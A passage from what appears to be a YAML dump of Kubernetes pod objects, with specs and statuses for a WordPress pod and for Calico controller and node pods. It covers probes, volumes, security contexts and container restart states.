    qosClass: BestEffort
    startTime: "2025-11-04T00:53:29Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/extendedconfig: e2fb52d5d3a2a256f890ebee9ee09cab2b352dbcc9624d02b4ea8fff40880bd7
      checksum/secureconfig: 0cff4b87e35537432f15c01bba6eb48ea3e09e7bfcec7449e7d4f9f806172dba
      cni.projectcalico.org/containerID: 783dc2572ce6248adfe92722d730f46062b6a3b8b7b5ecef4b34a755eda16bb9
      cni.projectcalico.org/podIP: 192.168.133.130/32
      cni.projectcalico.org/podIPs: 192.168.133.130/32
    creationTimestamp: "2025-11-25T15:22:52Z"
    generateName: artemis-wordpress-574d78556d-
    generation: 1
    labels:
      app.kubernetes.io/instance: artemis
      app.kubernetes.io/name: wordpress
      pod-template-hash: 574d78556d
    name: artemis-wordpress-574d78556d-7zvkm
    namespace: artemis
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: artemis-wordpress-574d78556d
      uid: a550b0bf-382b-44cf-a991-2ac96fa04069
    resourceVersion: "18008017"
    uid: 60e08890-423d-44c8-9915-f5addbb4e5c7
  spec:
    containers:
    - envFrom:
      - secretRef:
          name: artemis-wordpress
      image: docker.io/wordpress:6.8.3-apache
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 5
        httpGet:
          httpHeaders:
          - name: Host
            value: localhost:8000
          - name: x-forwarded-proto
            value: https
          path: /wp-admin/install.php
          port: http
          scheme: HTTP
        initialDelaySeconds: 30
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 5
      name: wordpress
      ports:
      - containerPort: 8000
        name: http
        protocol: TCP
      readinessProbe:
        failureThreshold: 5
        httpGet:
          httpHeaders:
          - name: Host
            value: localhost:8000
          - name: x-forwarded-proto
            value: https
          path: /wp-login.php
          port: http
          scheme: HTTP
        initialDelaySeconds: 30
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 5
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        privileged: false
        readOnlyRootFilesystem: true
      startupProbe:
        failureThreshold: 30
        httpGet:
          httpHeaders:
          - name: Host
            value: localhost:8000
          - name: x-forwarded-proto
            value: https
          path: /wp-login.php
          port: http
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 5
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/www/html
        name: wordpress-vol
      - mountPath: /tmp
        name: tmp
      - mountPath: /var/run
        name: run
      - mountPath: /etc/apache2/ports.conf
        name: extended
        subPath: ports.conf
      - mountPath: /etc/apache2/000-default.conf
        name: extended
        subPath: 000-default.conf
      - mountPath: /usr/local/etc/php/conf.d/custom.ini
        name: extended
        subPath: custom.ini
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-x2d27
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-1
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 33
      runAsNonRoot: true
      runAsUser: 33
    serviceAccount: default
    serviceAccountName: default
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - emptyDir: {}
      name: tmp
    - emptyDir: {}
      name: run
    - configMap:
        defaultMode: 420
        name: artemis-wordpress-extended
      name: extended
    - emptyDir: {}
      name: wordpress-vol
    - name: kube-api-access-x2d27
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:15Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:52Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:46Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:46Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:52Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://213e823a4b20e4dcecd23cb7404f2cedc539d81c61d66e4fb4e17a72520420ab
      image: docker.io/library/wordpress:6.8.3-apache
      imageID: docker.io/library/wordpress@sha256:4046f5595cb7a9a094edfbecaaf0c5703d5d1773b8da2901a85c8d9e2b8fcef7
      lastState:
        terminated:
          containerID: containerd://0ba6d3ffc83fbcc6c35793cad8ad47fecbc88dc574cb8583ecaa9b71200365cf
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:07:58Z"
      name: wordpress
      ready: true
      resources: {}
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:15Z"
      volumeMounts:
      - mountPath: /var/www/html
        name: wordpress-vol
      - mountPath: /tmp
        name: tmp
      - mountPath: /var/run
        name: run
      - mountPath: /etc/apache2/ports.conf
        name: extended
      - mountPath: /etc/apache2/000-default.conf
        name: extended
      - mountPath: /usr/local/etc/php/conf.d/custom.ini
        name: extended
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-x2d27
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 192.168.133.130
    podIPs:
    - ip: 192.168.133.130
    qosClass: BestEffort
    startTime: "2025-11-25T15:22:52Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: ce2e0d5859b24e34a571342095a479f8a06e4f128dfe2aeabf771e46671ca45d
      cni.projectcalico.org/podIP: 192.168.61.235/32
      cni.projectcalico.org/podIPs: 192.168.61.235/32
      hash.operator.tigera.io/system: afea2595203eb027afcee25a2f11a6666a8de557
      tigera-operator.hash.operator.tigera.io/tigera-ca-private: 0610c30ec049a737a215082df5f03a3838fc2b48
    creationTimestamp: "2025-11-04T00:53:29Z"
    generateName: calico-kube-controllers-d595576c-
    generation: 1
    labels:
      app.kubernetes.io/name: calico-kube-controllers
      k8s-app: calico-kube-controllers
      pod-template-hash: d595576c
    name: calico-kube-controllers-d595576c-6vkn8
    namespace: calico-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: calico-kube-controllers-d595576c
      uid: a169d326-db94-4217-90d0-a99549cb981b
    resourceVersion: "18034304"
    uid: 743df39a-3ed7-44d0-8c17-3ec9be91acfa
  spec:
    containers:
    - env:
      - name: KUBE_CONTROLLERS_CONFIG_NAME
        value: default
      - name: DATASTORE_TYPE
        value: kubernetes
      - name: ENABLED_CONTROLLERS
        value: node,loadbalancer
      - name: DISABLE_KUBE_CONTROLLERS_CONFIG_API
        value: "false"
      - name: KUBERNETES_SERVICE_HOST
        value: 10.96.0.1
      - name: KUBERNETES_SERVICE_PORT
        value: "443"
      - name: CA_CRT_PATH
        value: /etc/pki/tls/certs/tigera-ca-bundle.crt
      image: quay.io/calico/kube-controllers:v3.30.4
      imagePullPolicy: IfNotPresent
      livenessProbe:
        exec:
          command:
          - /usr/bin/check-status
          - -l
        failureThreshold: 6
        initialDelaySeconds: 10
        periodSeconds: 60
        successThreshold: 1
        timeoutSeconds: 10
      name: calico-kube-controllers
      readinessProbe:
        exec:
          command:
          - /usr/bin/check-status
          - -r
        failureThreshold: 3
        periodSeconds: 30
        successThreshold: 1
        timeoutSeconds: 10
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        privileged: false
        runAsGroup: 0
        runAsNonRoot: true
        runAsUser: 999
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/pki/tls/certs
        name: tigera-ca-bundle
        readOnly: true
      - mountPath: /etc/pki/tls/cert.pem
        name: tigera-ca-bundle
        readOnly: true
        subPath: ca-bundle.crt
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-b4zn9
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-2
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 2000000000
    priorityClassName: system-cluster-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: calico-kube-controllers
    serviceAccountName: calico-kube-controllers
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoSchedule
      key: node-role.kubernetes.io/master
    - effect: NoSchedule
      key: node-role.kubernetes.io/control-plane
    - key: CriticalAddonsOnly
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - configMap:
        defaultMode: 420
        name: tigera-ca-bundle
      name: tigera-ca-bundle
    - name: kube-api-access-b4zn9
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:11Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:29Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:25:26Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:25:26Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:29Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://3972b177b66681dffe5e16026f94e4c3f9a2976fad872848062a168ff5b74621
      image: quay.io/calico/kube-controllers:v3.30.4
      imageID: quay.io/calico/kube-controllers@sha256:27d1abbc433b9f72c50fd3b1fcd29b674f6a0c6eee84938a0b6d9cf8ac5e85ff
      lastState:
        terminated:
          containerID: containerd://38460b3255a818a1d114f918b8cd80f677765138c552110938cdde0170f9e049
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:55Z"
      name: calico-kube-controllers
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:24:06Z"
      volumeMounts:
      - mountPath: /etc/pki/tls/certs
        name: tigera-ca-bundle
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /etc/pki/tls/cert.pem
        name: tigera-ca-bundle
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-b4zn9
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.235
    podIPs:
    - ip: 192.168.61.235
    qosClass: BestEffort
    startTime: "2025-11-04T00:53:29Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      hash.operator.tigera.io/cni-config: 6157f72bdda4d912a243fe0cee1c517ec93c2d8c
      hash.operator.tigera.io/system: afea2595203eb027afcee25a2f11a6666a8de557
      tigera-operator.hash.operator.tigera.io/tigera-ca-private: 0610c30ec049a737a215082df5f03a3838fc2b48
    creationTimestamp: "2025-10-19T16:27:44Z"
    generateName: calico-node-
    generation: 1
    labels:
      app.kubernetes.io/name: calico-node
      controller-revision-hash: 54cf9464f
      k8s-app: calico-node
      pod-template-generation: "3"
    name: calico-node-5xxch
    namespace: calico-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: calico-node
      uid: e123d82e-d5e2-4fdd-9df3-ed3b2428160b
    resourceVersion: "18046580"
    uid: 3348d178-8c9c-4bc3-a615-79c327132fff
  spec:
    affinity:
      nodeAffinity:
        requiredDuringSchedulingIgnoredDuringExecution:
          nodeSelectorTerms:
          - matchFields:
            - key: metadata.name
              operator: In
              values:
              - k8s-m-3
    containers:
    - env:
      - name: DATASTORE_TYPE
        value: kubernetes
      - name: WAIT_FOR_DATASTORE
        value: "true"
      - name: CLUSTER_TYPE
        value: k8s,operator,bgp
      - name: CALICO_DISABLE_FILE_LOGGING
        value: "false"
      - name: FELIX_DEFAULTENDPOINTTOHOSTACTION
        value: ACCEPT
      - name: FELIX_HEALTHENABLED
        value: "true"
      - name: FELIX_HEALTHPORT
        value: "9099"
      - name: NODENAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: spec.nodeName
      - name: NAMESPACE
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: metadata.namespace
      - name: FELIX_TYPHAK8SNAMESPACE
        value: calico-system
      - name: FELIX_TYPHAK8SSERVICENAME
        value: calico-typha
      - name: FELIX_TYPHACAFILE
        value: /etc/pki/tls/certs/tigera-ca-bundle.crt
      - name: FELIX_TYPHACERTFILE
        value: /node-certs/tls.crt
      - name: FELIX_TYPHAKEYFILE
        value: /node-certs/tls.key
      - name: NO_DEFAULT_POOLS
        value: "true"
      - name: FELIX_FLOWLOGSGOLDMANESERVER
        value: goldmane.calico-system.svc:7443
      - name: FELIX_FLOWLOGSFLUSHINTERVAL
        value: "15"
      - name: FELIX_TYPHACN
        value: typha-server
      - name: CALICO_MANAGE_CNI
        value: "true"
      - name: FELIX_VXLANMTU
        value: "0"
      - name: FELIX_WIREGUARDMTU
        value: "0"
      - name: CALICO_NETWORKING_BACKEND
        value: bird
      - name: FELIX_IPINIPMTU
        value: "0"
      - name: IP
        value: autodetect
      - name: IP_AUTODETECTION_METHOD
        value: first-found
      - name: IP6
        value: none
      - name: FELIX_IPV6SUPPORT
        value: "false"
      - name: KUBERNETES_SERVICE_HOST
        value: 10.96.0.1
      - name: KUBERNETES_SERVICE_PORT
        value: "443"
      image: quay.io/calico/node:v3.30.4
      imagePullPolicy: IfNotPresent
      lifecycle:
        preStop:
          exec:
            command:
            - /bin/calico-node
            - -shutdown
      livenessProbe:
        failureThreshold: 3
        httpGet:
          host: localhost
          path: /liveness
          port: 9099
          scheme: HTTP
        periodSeconds: 60
        successThreshold: 1
        timeoutSeconds: 10
      name: calico-node
      readinessProbe:
        exec:
          command:
          - /bin/calico-node
          - -bird-ready
          - -felix-ready
        failureThreshold: 3
        periodSeconds: 30
        successThreshold: 1
        timeoutSeconds: 10
      resources:
        requests:
          cpu: 250m
      securityContext:
        allowPrivilegeEscalation: true
        capabilities:
          drop:
          - ALL
        privileged: true
        runAsGroup: 0
        runAsNonRoot: false
        runAsUser: 0
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/log/calico/cni
        name: cni-log-dir
      - mountPath: /host/etc/cni/net.d
        name: cni-net-dir
      - mountPath: /lib/modules
        name: lib-modules
        readOnly: true
      - mountPath: /node-certs
        name: node-certs
        readOnly: true
      - mountPath: /var/run/nodeagent
        name: policysync
      - mountPath: /etc/pki/tls/certs
        name: tigera-ca-bundle
        readOnly: true
      - mountPath: /etc/pki/tls/cert.pem
        name: tigera-ca-bundle
        readOnly: true
        subPath: ca-bundle.crt
      - mountPath: /var/lib/calico
        name: var-lib-calico
      - mountPath: /var/run/calico
        name: var-run-calico
      - mountPath: /run/xtables.lock
        name: xtables-lock
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-fjwdq
        readOnly: true
    dnsPolicy: Default
    enableServiceLinks: true
    hostAliases:
    - hostnames:
      - goldmane.calico-system.svc
      ip: 10.110.195.55
    hostNetwork: true
    initContainers:
    - command:
      - /opt/cni/bin/install
      env:
      - name: CNI_CONF_NAME
        value: 10-calico.conflist
      - name: SLEEP
        value: "false"
      - name: CNI_NET_DIR
        value: /etc/cni/net.d
      - name: CNI_NETWORK_CONFIG
        valueFrom:
          configMapKeyRef:
            key: config
            name: cni-config
      - name: KUBERNETES_SERVICE_HOST
        value: 10.96.0.1
      - name: KUBERNETES_SERVICE_PORT
        value: "443"
      image: quay.io/calico/cni:v3.30.4
      imagePullPolicy: IfNotPresent
      name: install-cni
      resources: {}
      securityContext:
        allowPrivilegeEscalation: true
        capabilities:
          drop:
          - ALL
        privileged: true
        runAsGroup: 0
        runAsNonRoot: false
        runAsUser: 0
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /host/opt/cni/bin
        name: cni-bin-dir
      - mountPath: /host/etc/cni/net.d
        name: cni-net-dir
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-fjwdq
        readOnly: true
    nodeName: k8s-m-3
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 2000001000
    priorityClassName: system-node-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: calico-node
    serviceAccountName: calico-node
    terminationGracePeriodSeconds: 5
    tolerations:
    - key: CriticalAddonsOnly
      operator: Exists
    - effect: NoSchedule
      operator: Exists
    - effect: NoExecute
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/disk-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/memory-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/pid-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/unschedulable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/network-unavailable
      operator: Exists
    volumes:
    - hostPath:
        path: /opt/cni/bin
        type: DirectoryOrCreate
      name: cni-bin-dir
    - hostPath:
        path: /var/log/calico/cni
        type: ""
      name: cni-log-dir
    - hostPath:
        path: /etc/cni/net.d
        type: ""
      name: cni-net-dir
    - hostPath:
        path: /lib/modules
        type: ""
      name: lib-modules
    - name: node-certs
      secret:
        defaultMode: 420
        secretName: node-certs
    - hostPath:
        path: /var/run/nodeagent
        type: DirectoryOrCreate
      name: policysync
    - configMap:
        defaultMode: 420
        name: tigera-ca-bundle
      name: tigera-ca-bundle
    - hostPath:
        path: /var/lib/calico
        type: DirectoryOrCreate
      name: var-lib-calico
    - hostPath:
        path: /var/run/calico
        type: DirectoryOrCreate
      name: var-run-calico
    - hostPath:
        path: /run/xtables.lock
        type: FileOrCreate
      name: xtables-lock
    - name: kube-api-access-fjwdq
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:38Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T16:27:51Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:26:06Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:26:06Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T16:27:44Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 250m
      containerID: containerd://e0ed4ba5f2f209e1634b806e0e628faa2e4c92b6c87423b14bacd8127fd82e10
      image: quay.io/calico/node:v3.30.4
      imageID: quay.io/calico/node@sha256:362f10b69142fcc654c0ab65a5f371923f9a1d8f7772eac0ff223b9dc67704de
      lastState:
        terminated:
          containerID: containerd://f6bc28b6b1595d887587f40663f36614463db14ddd2a0587b49e628a687623d0
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:19Z"
      name: calico-node
      ready: true
      resources:
        requests:
          cpu: 250m
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:25:34Z"
      volumeMounts:
      - mountPath: /var/log/calico/cni
        name: cni-log-dir
      - mountPath: /host/etc/cni/net.d
        name: cni-net-dir
      - mountPath: /lib/modules
        name: lib-modules
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /node-certs
        name: node-certs
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /var/run/nodeagent
        name: policysync
      - mountPath: /etc/pki/tls/certs
        name: tigera-ca-bundle
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /etc/pki/tls/cert.pem
        name: tigera-ca-bundle
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /var/lib/calico
        name: var-lib-calico
      - mountPath: /var/run/calico
        name: var-run-calico
      - mountPath: /run/xtables.lock
        name: xtables-lock
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-fjwdq
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.18
    hostIPs:
    - ip: 172.16.30.18
    initContainerStatuses:
    - containerID: containerd://a8c5b25f01d2bd4914aa493cdd23039c17b6ae826df455b02032710e1badfeb7
      image: quay.io/calico/cni:v3.30.4
      imageID: quay.io/calico/cni@sha256:807aa264f01c9b9a8c5d26d5ba4fcbc428ab1b8b9798eeac04a64f4930a30c25
      lastState: {}
      name: install-cni
      ready: true
      resources: {}
      restartCount: 5
      started: false
      state:
        terminated:
          containerID: containerd://a8c5b25f01d2bd4914aa493cdd23039c17b6ae826df455b02032710e1badfeb7
          exitCode: 0
          finishedAt: "2025-11-29T14:25:33Z"
          reason: Completed
          startedAt: "2025-11-29T14:25:30Z"
      volumeMounts:
      - mountPath: /host/opt/cni/bin
        name: cni-bin-dir
      - mountPath: /host/etc/cni/net.d
        name: cni-net-dir
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-fjwdq
        readOnly: true
        recursiveReadOnly: Disabled
    phase: Running
    podIP: 172.16.30.18
    podIPs:
    - ip: 172.16.30.18
    qosClass: Burstable
    startTime: "2025-10-19T16:27:45Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      hash.operator.tigera.io/cni-config: 6157f72bdda4d912a243fe0cee1c517ec93c2d8c
      hash.operator.tigera.io/system: afea2595203eb027afcee25a2f11a6666a8de557
      tigera-operator.hash.operator.tigera.io/tigera-ca-private: 0610c30ec049a737a215082df5f03a3838fc2b48
    creationTimestamp: "2025-10-19T16:26:59Z"
    generateName: calico-node-
    generation: 1
    labels:
      app.kubernetes.io/name: calico-node
      controller-revision-hash: 54cf9464f
      k8s-app: calico-node
      pod-template-generation: "3"
    name: calico-node-6rnlw
    namespace: calico-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: calico-node
      uid: e123d82e-d5e2-4fdd-9df3-ed3b2428160b
    resourceVersion: "18033834"
    uid: c5c1aaed-2a6e-4fe2-b3c2-243ceee151d6
  spec:
    affinity:
      nodeAffinity:
        requiredDuringSchedulingIgnoredDuringExecution:
          nodeSelectorTerms:
          - matchFields:
            - key: metadata.name
              operator: In
              values:
              - k8s-m-2
    containers:
    - env:
      - name: DATASTORE_TYPE
        value: kubernetes
      - name: WAIT_FOR_DATASTORE
        value: "true"
      - name: CLUSTER_TYPE
        value: k8s,operator,bgp
      - name: CALICO_DISABLE_FILE_LOGGING
        value: "false"
      - name: FELIX_DEFAULTENDPOINTTOHOSTACTION
        value: ACCEPT
      - name: FELIX_HEALTHENABLED
        value: "true"
      - name: FELIX_HEALTHPORT
        value: "9099"
      - name: NODENAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: spec.nodeName
      - name: NAMESPACE
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: metadata.namespace
      - name: FELIX_TYPHAK8SNAMESPACE
        value: calico-system
      - name: FELIX_TYPHAK8SSERVICENAME
        value: calico-typha
      - name: FELIX_TYPHACAFILE
        value: /etc/pki/tls/certs/tigera-ca-bundle.crt
      - name: FELIX_TYPHACERTFILE
        value: /node-certs/tls.crt
      - name: FELIX_TYPHAKEYFILE
        value: /node-certs/tls.key
      - name: NO_DEFAULT_POOLS
        value: "true"
      - name: FELIX_FLOWLOGSGOLDMANESERVER
        value: goldmane.calico-system.svc:7443
      - name: FELIX_FLOWLOGSFLUSHINTERVAL
        value: "15"
      - name: FELIX_TYPHACN
        value: typha-server
      - name: CALICO_MANAGE_CNI
        value: "true"
      - name: FELIX_VXLANMTU
        value: "0"
      - name: FELIX_WIREGUARDMTU
        value: "0"
      - name: CALICO_NETWORKING_BACKEND
        value: bird
      - name: FELIX_IPINIPMTU
        value: "0"
      - name: IP
        value: autodetect
      - name: IP_AUTODETECTION_METHOD
        value: first-found
      - name: IP6
        value: none
      - name: FELIX_IPV6SUPPORT
        value: "false"
      - name: KUBERNETES_SERVICE_HOST
        value: 10.96.0.1
      - name: KUBERNETES_SERVICE_PORT
        value: "443"
      image: quay.io/calico/node:v3.30.4
      imagePullPolicy: IfNotPresent
      lifecycle:
        preStop:
          exec:
            command:
            - /bin/calico-node
            - -shutdown
      livenessProbe:
        failureThreshold: 3
        httpGet:
          host: localhost
          path: /liveness
          port: 9099
          scheme: HTTP
        periodSeconds: 60
        successThreshold: 1
        timeoutSeconds: 10
      name: calico-node
      readinessProbe:
        exec:
          command:
          - /bin/calico-node
          - -bird-ready
          - -felix-ready
        failureThreshold: 3
        periodSeconds: 30
        successThreshold: 1
        timeoutSeconds: 10
      resources:
        requests:
          cpu: 250m
      securityContext:
        allowPrivilegeEscalation: true
        capabilities:
          drop:
          - ALL
        privileged: true
        runAsGroup: 0
        runAsNonRoot: false
        runAsUser: 0
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/log/calico/cni
        name: cni-log-dir
      - mountPath: /host/etc/cni/net.d
        name: cni-net-dir
      - mountPath: /lib/modules
        name: lib-modules
        readOnly: true
      - mountPath: /node-certs
        name: node-certs
        readOnly: true
      - mountPath: /var/run/nodeagent
        name: policysync
      - mountPath: /etc/pki/tls/certs
        name: tigera-ca-bundle
        readOnly: true
      - mountPath: /etc/pki/tls/cert.pem
        name: tigera-ca-bundle
        readOnly: true
        subPath: ca-bundle.crt
      - mountPath: /var/lib/calico
        name: var-lib-calico
      - mountPath: /var/run/calico
        name: var-run-calico
      - mountPath: /run/xtables.lock
        name: xtables-lock
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-4xnd8
        readOnly: true
    dnsPolicy: Default
    enableServiceLinks: true
    hostAliases:
    - hostnames:
      - goldmane.calico-system.svc
      ip: 10.110.195.55
    hostNetwork: true
    initContainers:
    - command:
      - /opt/cni/bin/install
      env:
      - name: CNI_CONF_NAME
        value: 10-calico.conflist
      - name: SLEEP
        value: "false"
      - name: CNI_NET_DIR
        value: /etc/cni/net.d
      - name: CNI_NETWORK_CONFIG
        valueFrom:
          configMapKeyRef:
            key: config
            name: cni-config
      - name: KUBERNETES_SERVICE_HOST
        value: 10.96.0.1
      - name: KUBERNETES_SERVICE_PORT
        value: "443"
      image: quay.io/calico/cni:v3.30.4
      imagePullPolicy: IfNotPresent
      name: install-cni
      resources: {}
      securityContext:
        allowPrivilegeEscalation: true
        capabilities:
          drop:
          - ALL
        privileged: true
        runAsGroup: 0
        runAsNonRoot: false
        runAsUser: 0
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /host/opt/cni/bin
        name: cni-bin-dir
      - mountPath: /host/etc/cni/net.d
        name: cni-net-dir
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-4xnd8
        readOnly: true
    nodeName: k8s-m-2
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 2000001000
    priorityClassName: system-node-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: calico-node
    serviceAccountName: calico-node
    terminationGracePeriodSeconds: 5
    tolerations:
    - key: CriticalAddonsOnly
      operator: Exists
    - effect: NoSchedule
      operator: Exists
    - effect: NoExecute
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/disk-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/memory-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/pid-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/unschedulable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/network-unavailable
      operator: Exists
    volumes:
    - hostPath:
        path: /opt/cni/bin
